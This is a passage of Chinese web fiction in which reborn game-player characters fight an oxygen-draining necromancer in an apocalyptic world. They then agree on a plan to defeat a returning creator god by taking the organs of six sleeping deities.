这场你追我逃我的猫鼠游戏似乎已经彻底变成了卷轴的数量竞赛，对方在逃，是为了拖延时间等他们的卷轴用完，他们在追，是必须在他们的卷轴用完前击杀对方。 …… 倒数第二张。 虽然陆燃的动作与神态上似乎完全看不出他身上只剩最后一张CD清理卷轴了的样子。 倒是紧紧坠在他身后的江朗更紧张一些。 虽然他们的负面状态清理卷轴还没用完，就算已经没法清CD了，以陆燃本身的转CD的速度，他们也还能撑一段时间，但是江朗还是紧张得不行。 而他视野中那个一直在闪转腾挪的身影就这样顿住了。 江朗一愣，起效了？ 起效了？！！对方的卷轴也用完了？！ 他来不及狂喜，直接开始吟诵湮灭之环的咒语，吟诵前还不忘往自己身上拍了一堆加攻的卷轴，还把附魔上的所有用得上的攻击类别的buff全启动了——对方也是玩家，一个普通的湮灭之环还真不一定能清空他的血线。 也幸好陆燃的CD清除卷轴一直是往精神链接上拍的，所以他现在还算有空加这一大堆buff。 漆黑的圆环在三秒内成型，空气中弥漫着恐怖的威压，几乎要凝结成实质。 然后那黑色的圆环落下。 江朗马不停蹄地开始念第二个技能的咒语，精神链接已经失效，如果对方还剩个血皮，得赶快补刀。 与此同时，他紧紧地盯着那人，生怕他又跑了。 但是……咦？江朗手中的技能尚未放出去，他就看见那具身体慢慢地软倒了下来，他的技能释放出去的时候，那具身体，或者说尸体已经彻底瘫倒在了地上，他的技能甚至没能让这具尸体出现最后的痛觉反射。 这就……这就结束了？ 虽然他确实知道能挨住自己一记满buff湮灭之环的玩家不多，而且他们也已经实打实地挣扎了太久，而且猛然消失的窒息感后他疯狂呼吸的迫切动作也提醒着他刚刚离死亡有多近，所以这绝不能称作一场轻松的胜利。 但是……他还是感觉事情不应该那么快就结束，对方明显是和他们一样道具齐全的玩家，就这么死掉了……总感觉这场怎么都称不上轻松的战斗还是赢得太轻易了。 不过他很快就后悔他这么想了。 因为事情真的没有就这么结束！ 熟悉的窒息感回来的时候，江朗很难形容自己心中到底是无语更多，还是“果然如此！”的心情更多。 他下意识地扫视了周围，然后发现，对方并没有复活——那具尸体依旧躺在地面上，以一种狼狈的姿态趴着。 江朗眼中闪过一丝迷茫——那是怎么回事？ 然后他看见了，高处站着和刚刚那个黑风衣男子几乎毫无差别的一个身影。 他迅速地反应了过来这是怎么回事。 亡灵法师。 对方的职业是亡灵法师，《神域》中的亡灵法师有个很常见的复活设定，可以将自己的一部分血肉以秘术制作成命匣，自己本体死亡的时候就可以随之复活。 同一时间同一空间内亡灵法师的命匣只能存在一个。 江朗一边继续朝前跑去，一边觉得有些奇怪，通常来说，命匣都是亡灵法师的逃脱手段，毕竟只能做一个，尤其是现在是现实而不是游戏！上一世他遇见过的亡灵法师，如果真被逼到用出命匣，那么他就基本再也见不到他们了，因为鬼知道他们把命匣藏在了什么地方。 所以，这个亡灵法师把命匣放在离战场这么近的地方，用完之后甚至第一反应不是远远地逃开，而是继续攻击他们，怎么想都觉得很奇怪吧——他就那么执着于要杀他们？执着到完全不考虑自己的性命？ 什么仇什么怨啊？他和陆燃有结过这种等级的仇人吗？ 对方动了，看来依旧是打算走风筝路线，江朗不得不继续开始在毫无氧气供应的情况下开始飞奔。 陆燃毫不犹豫地用掉了最后一张CD清除卷轴，朝对方释放了精神链接。 而对方也毫不犹豫地解控了，江朗先是奇怪了一下他不是把解控卷轴都用完了吗？然后他才突然反应过来，从命匣中复活的亡灵法师所有状态都会重置，所以他的解控技能CD肯定重新转好了。 就在这一瞬间，江朗脑中突然闪过一个近乎荒谬的念头——不会吧？难道对方用掉自己的命匣单纯只是为了重置解控技能CD来消耗他和陆燃的卷轴？？？ 这是什么疯子？？？ 他又要问了，他和陆燃同这个人到底有什么仇什么怨？这么拼也要攻击他们？？？ 不过他的重置只有一次，虽然陆燃的卷轴也已经用完了，但他的控制技能毕竟多，他的思维种子已经转好了。 他快速释放思维种子并直接引爆，这中间的间隙应该不超过CD内置的0.1秒CD，但就是这0.1秒，已经够对方召唤出了一排排白骨与亡灵。 江朗的攻击如约而至，那黑风衣的男子因受到控制而“呆愣”在原地，无法逃离江朗的攻击，但是他这次显然没有死亡。 江朗也知道为什么，除了对方肯定一从命匣中复活就把各种防御buff加上了以外，最重要的是亡灵法师可以让自己的召唤物分摊伤害，等级越高装备越好召唤物稀有度越高的亡灵法师就越难杀，因为打在他们身上的伤害大部分都会被他们的召唤物摊走，要杀死一个亡灵法师，就必须先把他的召唤物清理干净。 江朗努力地平稳呼吸，继续吟诵咒语，他的攻击力够高，几轮下来应该就能把对方的召唤物清干净了。 他突然感到周围一阵炎热，他很快意识到还有更快的办法——陆燃的火系异能。 熊熊的烈火奔涌着朝那一大堆白骨与亡灵扑去。 的确如他们一开始猜想的那样，黑风衣男子毫发无伤，他周围存在着一层透明薄膜般的壁障，使他不受这烈焰侵扰。 但他的异能也确实有一定的上限，仅有他自己和个别召唤物受到了这样的薄膜庇护，而且很显然他非常精细地控制了壁障的厚度，争取不浪费自己的任何异能。 然后江朗的技能又落下了。 他稍微松了口气，就剩下的这些召唤物，他这一个技能应该就能全把它们送走。 他也确实把这些尸骨与亡灵送走了。 虽然陆燃的控制链已经到了真空期，那黑风衣男子再次跳跃着离开了这一片横尸遍野的焦黑之地。 但江朗心中终于有了一种胸有成竹的感觉。 现在对方已经失去了大部分召唤物，用完了所有解控卷轴，他已经无路可逃，等陆燃下一轮技能转好，他们终于能结束这场时间上不算长，但感觉上无比漫长的战斗了，这种终于涌上心头的胸有成竹让他即使依旧在无法呼吸的状态下狂奔，都觉得肺部没有那么难受了。 于是又一轮，控制解控控制与控制。 江朗快速将咒语吟诵完毕，等着一切尘埃落定。 只是…… 他猛地睁大了双眼，不敢相信自己看到的画面。 又有一大批白骨与亡灵从地底冒了出来。 怎么可能？？？ 江朗下意识地就想问——怎么可能？！ 刚刚那个黑风衣男子召唤出来的召唤物数量已经算是亡灵法师中的最顶级的玩家能拥有的数量了。 怎么可能还有更多？如果只是多几只也就算了，冒出来的白骨与亡灵又多又密，有那么一瞬间让他觉得仿佛重新回到了那个古怪的空间泡。 空间泡！ 他的大脑瞬间将一切都联系了起来，从那个空间泡出来的白骨与亡灵们他们从来没有找到过下落，一定是被这个亡灵法师收编了……一想到那个空间泡存在着多少白骨与亡灵，他心头就忍不住涌上一阵轻微的绝望。 转瞬间，优劣易势。 他已经彻底耗尽了解负面buff的卷轴，估计陆燃也差不多，而对方现在才终于打出底牌。 对方依旧在跑动，但很明显，他现在的“逃跑”只是为了尽可能耗竭他们体内的氧气。 江朗看着自己的血条快速下降，它已经突破了那个慢吞吞下降的节点，他一边继续攻击，尽可能地尝试消耗尽这个人从空间泡那批亡灵中补充的召唤物，一边开始在吟诵间隙大口喝红药。 他的目光投向了背包里那件始终没使用过的复活道具。 如果……如果事情真的走到了无可挽回的地步，他必须保证自己的活过陆燃这样才可以复活陆燃，让他以全盛状态去和这个疯狂的亡灵法师对战。 而那个节点可能真不太远了，他感觉自己的身体似乎在崩裂，听起来很奇怪，但这的确就是他现在的感受。 他还感到一阵头昏目眩，他咬破了自己的舌尖，他必须一直保持清醒。 那黑风衣男人非常耐心，他本大可以驱使自己的召唤物来攻击他们来加快结束这场战斗，但他没有，始终将自己的召唤物当作消耗物在使用，似乎生怕一点点的差别会让这两人最后翻盘。 这种程度的小心谨慎让江朗忍不住露出了一个无奈的笑容。 而就在此刻，他突然感到那股血肉崩解的感受消失了，并不是说氧气重新出现在了他可接触的范围内，而是他的身体在无视氧气开始自我修复，而且不是以再生异能的方式，那速度太快，不是再生那种一层一层细胞修复的方式。 他猛地回头，看到了陈嘉佳的身影。 陈嘉佳花了大量时间终于赶上了他们三人，她松了口气，她来得还算及时。 江朗眼神一凝，他知道现在让陈嘉佳赶快逃跑没有用，真正能不辜负她的救援的方式是他和陆燃赶紧继续攻击，把这场消耗战缩短到他们还能坚持住不死的时间。 他看着陆燃的火焰与他的技能黑红交叠，消灭了一批又一批的亡灵与白骨。 又一批。 又一批。 又一批…… 等等，只剩几个了！ 只剩几个被那个亡灵法师的真空薄膜保护着所以陆燃的火焰突破不了的召唤物了！ 他的精神一震，念下那道关键的咒语。 于是对面只剩一人。 陆燃的心灵震荡适时地落下，江朗艰难地念出最后一道咒语。 本应是最后一道的。 “自由。” 一道听起来有些熟悉的声音轻轻地在在场所有人耳边响起。 而随着这道声音响起，该亡灵法师摆脱了陆燃的束缚，快速脱离了江朗的技能范围。 陆燃和江朗齐齐朝声音来处看去。 然后他们看见了一张非常熟悉的脸庞。 梁凌。 江朗无比震惊。 梁凌？ 不过现在想来，那些子弹……难道是他们小队？？？ 紧随着震惊而来的是绝望，他们三人原本是有那么一丝胜率的，但是现在…… 他看向身后的陈嘉佳，陈嘉佳离他们有些远，面色有些发紫，显然已经承受不住接连的窒息与给他们输送生机。 所以梁凌的出现对他们来说绝对算得上重重一击。 现在他们的对手又有了一个外挂解控技能，他们的胜率更低了。 事实上他不该用胜率这个词的，应该用存活率才对。 但就在他以为梁凌是那亡灵法师的支援的时候，梁凌突然从空中变出了两个袋装物品，然后丢向了他们。 江朗下意识伸手，接住，然后低头一看，那是一只便携的氧气面罩。 梁凌：“你们俩准备物资的时候不会真的只考虑了吃什么吧？” 江朗一边戴氧气面罩一边：“……” 然后梁凌转向了那个神秘的亡灵法师。 “别抽他们的氧气了，50张高级解控卷轴和100张CD清除卷轴，你们任何一方攻击，我都可以让你们的攻击至少很长一段时间内无效化，除非你们愿意摒弃前嫌联起手来攻击我。” “现在我们能心平气和地坐下来聊聊了吗？” 第107章 第 107 章 前世究竟发生了什么…… 梁凌的话确实有效停下了这场战斗。 江朗慢慢放下了氧气面罩, 开始呼吸空气中的氧气。 那黑风衣男子在原地安静地站立了一会儿，看上去简直就像是个雕塑，被火山喷发永恒定格在某个姿势的那种雕塑。 然后他的声音响了起来。 那是一道非常低沉的男声, 而且他还带着塑料面具，讲起来话来几乎有种自带变声器的大boss感。 他问：“你为什么要帮他们？” 他没转头, 依旧死死地盯着陆燃和江朗, 但是这句话明显是在问梁凌。 梁凌：“我只是觉得你有些武断了。” “武断？” 黑风衣男子摘下了自己的面具。 面具后是一张英俊的脸庞，但是任何人在看到这张脸的时候，第一反应都绝不会是注意到他的英俊，因为他的双眼又黑又沉, 眉眼深深地压着, 脸庞上有几道伤疤, 但即使没有那些伤疤, 这也是一张暗示了所有者历经了多少风霜的脸庞。 他说话时的咬字就像是很多很多年没有说过话了一样。 江朗震惊地睁大了双眼，因为他认识这张脸： “你是研究所的人？！那你为什么要杀我们？” 江朗很震惊, 这张脸他挺熟悉的, 在他接下那最后一个任务的时候，队伍里就有这张脸, 他是代表研究所过来监测数据的。 对方将目光稍稍朝他这边偏移了一点, 江朗这才注意到，他虽然乍一看是锁定在了他和陆燃的方向, 但是其实是因为距离太远, 才看起来像是他在同时看他们两人, 仔细观察的话就会发现对方的目光始终锚定在陆燃身上。 然后这个黑风衣男子就将视线稍稍偏移到了江朗身上, 突然讥讽一笑：“我才想问你呢，你应该也是从那个时间点回来的吧？那你为什么要帮这个人？” 江朗：？ 他迷茫了一下，倒不是在震惊对方也是重生回来的, 这个世界显然已经被重生成筛子了，而且他和陆燃本来就怀疑研究所有重生者，现在只是验证了这个假设而已，而且他感觉梁凌可能也是重生的吧，所以对方是重生的这件事没什么值得震惊的。 他只是在迷茫为什么会有人问他为什么在帮陆燃这种话。 这还能有为什么？ 他不帮陆燃他还能帮谁？ 他最后迷茫地吐出一句：“因为他是我最好的朋友？” 那黑风衣男子深深地看了他一眼，视线锐利，如果非要江朗说的话，他觉得对方身上像是有一种被深深压制住了的愤怒，然后黑风衣男子接下来的话确实证明了他的感觉。 “你为了私人情谊就置这整个世界的安危于不顾？” 江朗：？？？ 他到底怎么置整个世界的安危于不顾了？以及他有重要到可以关系到这个世界的安危的地步吗？ 江朗：“不好意思，我真的没懂我到底怎么置这个世界的安危于不顾了，我和朋友只是想安静平稳地在末世里生活下去而已，而且非要说的话我们还救了不少人，怎么想我都觉得我还是挺有社会责任感的吧？” 黑风衣男子脸上终于显露出了一些表情，大概可以称之为对有人如此愚蠢的难以置信。 “你明明也看见了他是怎么变成怪物的。” “哦我们都当场就死了你可能不知道吧，那之后，这个怪物直接突破了空间泡的限制，如果你觉得我们现在经历的就叫末世的话，应该去经历一下这个怪物突破空间泡后的世界，你想和你的朋友过安稳平静的末世生活，很可惜，其他人也想。” 江朗眼中快速闪过一丝震惊。 “等等，你说我们都当场就死了，那你是怎么知道之后发生了什么的？” 黑风衣男子嗤笑一声：“你到底以为你是怎么重生回来的？真以为自己是天选之子上天给你一个机会弥补遗憾？” 江朗：…… 他没好意思说难道不是吗？他以前真是这么觉得的，虽然随着后来遇到了更多的重生者这个念头才稍微消退了点。 黑风衣男子的脸上闪过一丝非常难以察觉的悲痛。 然后很快又恢复平静，继续开始讲述，试图给这个愚蠢的年轻人脑子里塞进一点理智。 “我们当场死亡之后，这个怪物突破了空间泡的限制，几个省的范围的所有人一瞬间全部死亡。” “研究所本想组织异能者来对抗这个远超常理的污染物，但是雪上加霜的是，异能者们的异能全都失效了。” “包括游戏玩家们的技能，也全都失效了。” “没觉醒过异能的游戏玩家当场全部化作了污染物，给本来就糟糕的局面又增添了几分难度。” “尚存的幸存者迅速撤入了研究所早已准备好的地下避难所，他们在避难所呆了一个月，因为物资耗竭不得不重新走上地面。” “走上地面后，他们发现那个怪物已经不见踪影，但这世上也没有其他活人了。” “他们找到了一些物资，但是你可以想象那个情况，人只有那么些，而且全都没有任何异能，但不得不走入遍布着污染物的，这才叫真正的末世。” “最后，避难所的人也全灭，那就是人类的最后终结。” “当然，这些全都来不及发生，因为有人在这个怪物突破空间泡的第一时间就用掉了所有预言卷轴来预测面对这个超乎常理的污染物，人类有没有胜算。” “当他确认所有路都是死路且他只剩下几分钟拥有异能的时间后，他透支式使用了自己的异能。” “那个人的异能是save and load，你们都是游戏玩家应该很清楚这是什么异能。” “正常情况下，他的异能只能够回到一天内的存档点，但是那段时间研究所本来就在研究放大异能的手段，研究成果也确实有，而且很公平，要放大异能的效果，就要拿自己的生命力去兑换。” “于是他透支了自己的全部生命，将当时在这个怪物所在空间泡内的所有人都送回了末世前。” “他之所以做出这个选择，是因为那些人不光知道自己最后要面对的真正敌人是谁，不会像其他异能者那样哪怕重生了也只会想着在末世期间获取一些微不足道的优势，而且当时那个空间泡也确实聚集了所有的最强者，要选择一个区域的人存档重生的话，那个空间泡里的人显然就是最好的选择。” 说到这里，他嘲讽地看了眼江朗： “不过显而易见，他对人类智商的期望还是过高了，哪怕有人经历了那样的场景，回到末世前也依旧什么都不想什么都不思考。” 江朗：“……” 嘲讽完江朗后，黑风衣男子就接着继续了，只是，这一次他继续得有些困难。 “他……自己也回来了，以垂垂老者的形态，我只来得及见了他最后一面，他把预言卷轴预言的所有事情都告诉了我之后就死去了。” 江朗听到这里，原本想说的话都忘了，最后他只说出一句：“你一定很难过……” 黑风衣男子：“难过有什么用？他唯一的愿望就是能改变这世界走向终结的必然命运，我会不惜一切代价确保这能实现。” “所以你到底在想什么？在这个人变成怪物之前将他扼杀就是最快的拯救这个世界的方式，等他真正变成怪物就来不及了，我们中没有任何人可以抵挡他。” “我从重生开始就在寻找这个人在哪，我重新建立研究所，帮助各个基地建立，就是为了连接起一个至少能用的通信网络，一旦有人看见符合描述的人就能立刻通知我。” “我大费周章才找到这个人，结果却发现已经有一个重生者就在他身边，而且显然一开始就找到了他，却一丝一毫没有想过可以做点什么。” 江朗伸出一只手示意他冷静一点：“等一下，等一下，我很理解你的悲痛，也很理解你的着急，也很理解你想要拯救这个世界的愿望，但是这里有个问题，那就是你怎么知道那个怪物一定就是陆燃，至少在我看来，那更像是一个怪物选择了在陆燃身上出现。” 黑风衣男子顿了一下。 这也是梁凌选择插.入的时机：“事实上，我也是这么认为的。” 黑风衣男子看了梁凌一眼：“认为？你要因为自己认为这个理由放过一个很有可能毁灭这个世界的人？” “这个傻子这样想我可以理解，毕竟那是他的朋友，你的理由又是什么？” 江朗：“那你就要因为你觉得他可能会毁灭世界这种理由杀死一个无辜的人吗？” 黑风衣男子看了他一眼：“宁可错杀，不可放过。” 梁凌：“咳咳，不是该轮到我发言了吗？” 他举起右手。 江朗做了个把自己的嘴巴像拉链一样拉起来的动作，黑风衣男子虽然没什么动作，但也将目光投向了他。 梁凌：“我之所以觉得陆燃不是那个怪物本体，而只是被怪物借用了身体，当然是有理由的。” “重生回来之后，我虽然不像你那样有明扉的提示，但我也意识到了重生一次，不管是谁让我重生的，肯定是为了让我为最后的那场战斗做准备。” “所以……我开始调查。” “但是并不是像你那样调查陆燃的去向，而是开始调查一些别的东西。” “你记不记得当时研究所最流行的假说？” 黑风衣男子：“地球是被选中入侵的星球的那个假说？” “对，这个假说认为，空间泡是入侵文明的通道。” “其实这个猜测还真的挺靠谱的不是吗？” 陆燃：“之前那个随着污染物离开而消失的空间泡。” 梁凌：“没错。” 黑风衣男子再次盯紧了陆燃，似乎非常警惕他会巧言令色进一步利用梁凌的话为自己开脱。 但陆燃只说了这一句话之后就又恢复了沉默，神色平静。 梁凌：“如果把这些空间泡看作通道的话，那么要通过这个通道的生物走过后，通道消失似乎也是理所当然的了，所以从那个空间泡出来后，我就进一步确认了这个假设。” “当然这是确认部分，我刚回来的时候其实主要在想另一个问题，那么就是到底是哪个世界想要入侵地球。” “这好像是最无关紧要的一个问题，毕竟入侵者来都来了，它们是从哪来的好像也不是很重要，所有我们需要了解的它们的性质也都可以从战斗中观察到。” “但是我这人就是喜欢刨根问题，我想了很久之后，或者说一边在《神域》里准备进入末世的背包一边想了很久之后，我得出了一个答案。” “那个世界就是《神域》的世界。” 江朗有些迷茫地眨了眨眼：“什么？” 梁凌：“再明显不过了不是吗？不然我们为什么会有游戏系统？你们那个小朋友的异能，说是治愈异能，但很明显是生命力的转移，你们不觉得这个设定特别眼熟吗？” “还有你们那个在末世中自己转职了血肉战士的朋友，难道这还不能让你们想到点什么吗？” “我简直不敢相信，你们这边的证据比我多这么多，居然没有仔细思考过这件事。” 江朗的脸皱了起来：“倒也不能说完全没想过……” 该怎么形容呢，因为末世里有游戏系统，所以他自然而然地认为游戏世界和现实世界有一定的“融合”，然后…… “然后就感觉没什么需要想的事了，感觉就是，如果非要说和我们这个世界正在融合的世界是属于《神域》的那个世界，倒也不会太惊讶，但是如果跟我说是其他世界我也会觉得挺正常，大致就是这么一种状态，所以这些空间泡是怎么回事，《神域》的世界在往我们的世界排放污染物？” 江朗回忆了一下《神域》的设定，感觉自己的推测很合理，《神域》里各大主城都饱受污染物侵袭的苦恼，每天不是在想着怎么消灭污染物就是在想着怎么避免自己变成污染物——和他们现在倒也没什么区别。 梁凌：“错，它们是想来我们这个世界定居。” 江朗：“啊？” 梁凌：“它们自己的世界已经被污染物污染到只有六个主城能住的程度了不是吗？” 江朗有些费解：“但我们这边不是也已经被污染了吗？” 梁凌：“和它们的程度相比显然是小巫见大巫。” 黑风衣男子及时插嘴：“你有什么证据？” 梁凌：“那么当然要感谢你积极地重建研究所，并把所有已知空间泡的坐标共享了，我这半年内一直在不停地进入各种空间泡探查，然后我把那些岩壁上的文字全部临摹了下来。” 江朗：“等等，等等，等等，文字，什么文字？” 陆燃若有所思：“那些看起来像是战斗痕迹的划痕？” 梁凌：“没错！感谢我大学专业是密码学我还辅修了语言学的第二专业吧，这半年内我破解了它们的文字系统，而且我还有《神域》的设定集做对比，所以我很快就发现，我们进入的空间泡，都是《神域》中各个执行神的神殿。” 江朗：“？” 江朗整张脸都被困惑占据了，那些空间泡别说神殿了，看着连能住人的地方都不像，这么简朴的神殿？？ “可是神殿里不是不受污染物侵染吗？空间泡里全是污染物。” “那就是神殿里的居民啊，你为什么会觉得另一个世界的居民会和我们长得一样？” 江朗：“……” “而且以《神域》这个世界的污染程度，哪怕是神殿里的人看起来也很像污染物也是正常的，它们只是污染程度相对较轻的污染物而已，当然已经和我们世界里的污染物一个水平了，所以它们世界的污染程度和为什么要入侵地球就都是显而易见的了。” “话题绕回来，我研究了它们岩壁上的文字，有很大一部分重复的内容是教会的教义，然后剩余的大部分都是记录对应教会的历史，和《神域》的设定集里的设定基本全都对应得上。” “所以我假定《神域》的设定基本和这个入侵我们的世界的文本是一致的，所以我开始研究《神域》的全部文本，幸运的是，在末世来临前，我确实已经有了类似的怀疑，所以我把《神域》中任何相关的文本都打印了下来。” “不过这不是重点，重点是，知道了这些空间泡本质是神殿之后，我们这批人最后遇到的那个空间泡里，以陆燃为载体肆虐了整个世界的怪物是什么也就呼之欲出了。” 他一脸意味深长地在这里停顿了一下。 江朗迷茫地看着他停顿了好几秒都没有继续讲下去的意思，认真问：“是什么？” 另外两个人也只是平静地看着他等着他揭晓谜底。 梁凌：“……” 他就多余铺垫。 “是《神域》设定里的创世神啊，这还不明显吗？” “你们能遇到的压力最大的空间泡是什么水平？也就是勉强有点辛苦才能突破的水平对吧？因为玩家的最高等级在游戏里就相当于教会祭司水平，你们当然可以解决大部分教会的小喽啰，所以我们这批人遇到的那个见面杀的怪物怎么想都很奇怪，应当是远超我们等级的存在，要么是沉睡的六神之一，要么就是被六神携手击败的创世神，鉴于最后那个空间泡的形制不符合我博览众空间泡总结出来的六个教会建筑模式中的任何一种，所以我觉得我可以较为确信地说，那是《神域》的创世神苏醒了。” 江朗：“好像是的，我们刚从C市出来的时候，遇到了应该是我两世加起来遇到的难度最大的空间泡，里面的污染物不仅奇怪而且伤害很高，但也没有到我承受不住的水平，所以那个” “哦！等等，那个空间泡里的岩壁长得和迷宫一样，等等，那不会就是走廊吧……” 梁凌：“是不是七拐八拐通道还挺窄的那种？” 江朗：“是的。” 梁凌：“恭喜你，那就是我们亲爱的幻月之庭的教堂，传说中的月光、梦境、雾与迷失灵魂的回廊。” 梁凌转向陆燃：“也恭喜你，回了自己教会一趟，幻月之庭的空间泡是最稀有的，我重生后至少进过几十个空间泡，也只遇见过两个属于幻月之庭的，你们两个也是撞上了。” 江朗：“……它和游戏里的走廊差得也太多了。” 游戏里幻月之庭的这个回廊非常梦幻，而且很有设计感，每面墙壁上都有非常精美的壁画，两面中间被通道隔开的墙壁上的壁画还能连起来，所以站在迷宫里从任何一个角度看，都能看见一幅连贯的长壁画，一直都是各大风景玩家最爱来打卡拍照的地方，一想到它实际上是那些光秃秃的岩壁……江朗就觉得整个人都有点不好。 梁凌：“你不能指望一个被污染困扰了几千年的世界还保留有多少审美需求，而且它们很可能一开始就没发展出什么精美的建筑文化，毕竟就我读到的内容来看，这个世界的居民一直在对创世神的恐惧中度日，好不容易六神把它们救出来吧，还没来得及过上好日子，六神也差不多算嘎了，就开始漫长的对抗污染的几千年了，这样的世界你指望它们的建筑文化能发展到哪里去吗？” 江朗：“你说得很有道理……” 黑风衣男子再次忍无可忍：“说重点！” 梁凌笑着看向他：“难道我不是已经把该说的内容全都说了吗？你从我的话里没有推测出什么重要结论吗？” 梁凌耸了耸肩：“好吧，可能你们真的没听见……我刚刚说了，而且这也是所有玩家都知道的事，创世神曾经被六神打败过。” “所以它是可以击败的。” 黑风衣男子讥讽道：“那你的作战计划是什么？复活六神，跟这些语言不通而且本质也和污染物没什么区别的神沟通，希望它们再一次击败自己的创世神然后大发善心带着它们的信众离开这个远比它们世界宜居的星球？” 梁凌摇了摇手指：“当然不是，而且就算我想复合六神我也不知道从哪下手啊。” “我的计划是，找六个不同职业路径的玩家，取代六神，再杀死一次创世神。” 江朗：“？” 黑风衣男子：“？” 梁凌一脸自然地指了指自己，又指了指其他人：“看，我们这里就已经有四个职业的玩家了。” 黑风衣男子：“这是重点吗？” 江朗：“等等，等等，这是能做到的吗？” 梁凌：“当然，不要小看我对《神域》文本的研究啊！” “而且我这么说吧，这个计划对你的朋友绝对大有好处，请听我慢慢道来。” 江朗瞬间竖起了耳朵。 梁凌：“《神域》的文本，基本都是教会书写的历史记录，而就像大部分历史记录一样，都是被粉饰过的，这点对照各个教会的记录，就能从那些细微差别中确定，万幸游戏里还有各种各样的野外副本，而且教会在某些文本上是绝对不会有谎言的，那就是关于超凡能力的获取规则与使用规则这一件事的所有文本。” 梁凌看上去有些兴奋，好像打算给他们讲讲自己是怎么从不同的文本中一点一点对照推理出真正的真相的。 黑风衣男子再次打断了他：“说重点。” 梁凌不是很高兴，他上一世自从发现自己是言灵者不能乱讲话之后就将近九年多没怎么说过话，差点把他憋死，重生回末世前之后虽然忙得要死，又要准备游戏里的事又要准备游戏外的物资，但是他还是抓紧时间拽着认识的不认识的人讲了好久的话，可惜好景不长，也就三个多月，然后他就又回到这种不能瞎讲话的状态了，今天还是他头一次这么畅所欲言，因为他谈的内容都是能力层级“高于”他本人的，所以他爱讲什么都可以，不会有任何实质影响。 不过他看了眼江朗和陆燃，陆燃看上去很平静，江朗却有些轻微的焦躁，显然他刚刚说的那句“对你的朋友大有好处”对他的效果有些太好了，于是—— “好吧，那就省略所有的推理细节，我直接告诉你们结论。” “那场神战，六个执行神之所以和它们的创造者，同时也是能力赋予者有一战之力甚至还打赢了，当然是有原因的。” “因为六个执行神的核心都是创世神的某样器官，创世神以自己的器官为主体，塑造出了六个帮他管理世界的神。” “那些器官上有它自己的力量和准则，所以它其实没法对这几个执政神造成特别有效的伤害，但几个执政神反而能对它造成伤害，我猜它大概没想过有一天自己的儿子女儿们会叛逆才以这么容易坑到自己的方式创造了这六个执政神吧，第一次当家长是这样的。” 黑风衣男子：“……” “总而言之，六个执行神的沉睡之体就在六个教会的神殿里，而我们现在已经知道空间泡就是神殿入口了，所以我们大可以不停地进入空间泡，找到该教会执行神所沉睡的地方，然后取走它身上属于创世神的那部分器官，给自己安上，不光可以获得力量，还能免疫被创世神寄生——也就是上一世陆燃遇到的那种情况，因为那些器官和创世神的关系比较像已经独立出来的第二个体。” “当然，这个过程中我们肯定会有很多很多战斗，毕竟这些信众肯定都挺虔诚的，而我们要去偷它们的神的力量之源，肯定会迎来大量的抵抗，但是我觉得以我们的实力还是挺有希望的。” “我讲得够明白了吗？” 江朗瞬间松了口气：“好，我加入。” 重生后，陆燃之后会不会再一次被怪物寄生这件事就始终是他的心病，哪怕背包里一直装着那个复活道具，那个画面都始终是他挥之不去的心理阴影，有时候半夜他会突然做噩梦惊醒，如果不是陆燃始终在他身边，他惊醒后只要看一眼陆燃就能平复心绪，他真的不知道自己现在会是个什么状态，可能和那边的黑风衣男子差不多吧…… 黑风衣男子沉默了一会儿后回答：“可以试试。” 梁凌继续说：“六个器官，六条职业道路，最后进那个最终空间泡的也只能有这么六个人。” “因为我怀疑这个创世神上一世只是随机找了个人寄生，如果我们只有六个携带有它本身器官的人进去，就可以避免这种无谓的伤亡，而且其他人的战力在这种神战级别里也确实起不到太大作用，没必要进来送死。” “我们四个人就已经占了四条职业路径，还差一个血肉战士一个医生，你们有什么推荐吗？” “实力不一定要很强，因为拿到创世神的器官之后，就算普通的血肉战士和医生也能瞬间变成执政神级别，最重要的是人要可以信任，而且愿意为了这个世界牺牲自己，总之就是排除那些得过且过的人。” 陆燃：“我们这边可以出一个血肉战士，我们可以问问他。” 江朗刚要问“谁？他们认识血肉战士吗？”，就立刻想到了，哦，他们还真认识一个血肉战士。 黑风衣男子沉默了一会儿：“研究所最不缺的就是医生，我去问问谁愿意执行这个任务。” 梁凌：“很好，那我们就算达成共识了？你们还有什么想问的吗？” 他说这话其实只是套话，他觉得自己已经把该讲的事全讲完了，但是江朗立刻举手了，他颇有些好奇地看向江朗：“你要问什么？” 江朗：“你也是之前去那个空间泡探索的队伍的一员吗？为什么我对你毫无印象？” 梁凌笑了一下，凭空变出一张奇形怪状的面具，然后带了上去： “现在认识了吗？” 他指了指黑风衣男子：“他带面具是为了不被同样是重生者的人认出来，我不带面具也是为了不被同样是重生者的人认出来。” 江朗：“原来如此……我还有一个问题。” 梁凌：“请。” 江朗：“这个问题其实是想问他的。” 他指了指那个黑风衣男子： “你确定他……他只把当时空间泡里的人送回来了吗？” 黑风衣男子皱了皱眉：“是的，他的异能是范围式的，只能影响某个很小的区域内的人，不过不排除那个时间段可能有人在空间泡附近就也被送回来了，但是必须非常近才行。” 江朗：“呃……其实除了我们还有奇怪的人重生回来了……” 黑风衣男子的眉头皱得更紧了：“谁？” 江朗：“你认识张镇吧？” 黑风衣男子：“？？？？” 他的神情瞬间严肃了起来，虽然他本来就更严肃了，江朗都没想到他居然还能有更严肃的表情。 “张镇也重生了？？” “那这一次永乐应该会采用更有效的进攻方式，幸好他们不知道研究所也有人重生了，研究所现在基本全在暗处活动。” “现在末世已经来了快一年，永乐恐怕也已经建立起来了，我知道了，我会抽时间和人员去处理永乐的，你们不用担心他们会影响我们的计划。” 江朗：“呃……其实倒是不用太担心，因为永乐并没有建立起来。” 黑风衣男子脸上显出了一种罕见的茫然：“怎么会没建立起来？就算在正常的时间线里，永乐也已经建立起来了，更何况他们还有人重生了。” 陆燃：“他们的首领，柳寒，是一个弱肉强势原则的极端信奉者，他遇到我们的时候被我们打败了，所以自认是弱者，他现在是个助人为乐的人。” 黑风衣男子：？？？ 江朗：“嗯嗯嗯，其实可以喊他们过来帮忙的，这个计划应该需要很多人手吧。” 黑风衣男子：？？？ 第108章 第 108 章 集结！拯救世界的小队…… 如果说A市有什么人迟钝到完全没注意到城郊的那场大火近乎映红了天空的大战的话, 那大概就是宅男哥了。 他的窗帘常年都是拉起来的。 虽然已经在末世打滚了快一年，他也意识到了眼观八方是一个多么重要的技能，但经过千辛万苦的跋涉来到A市后——嗯, 他又觉得自己安全了。 而且他现在高低也算半个玩家了，虽然没装备也没背包所以只能算半个, 战斗力也非常存疑, 但是！至少不用担心被污染物咬了之后会被污染了！ 那它们爱咬就咬吧，死不了就行。 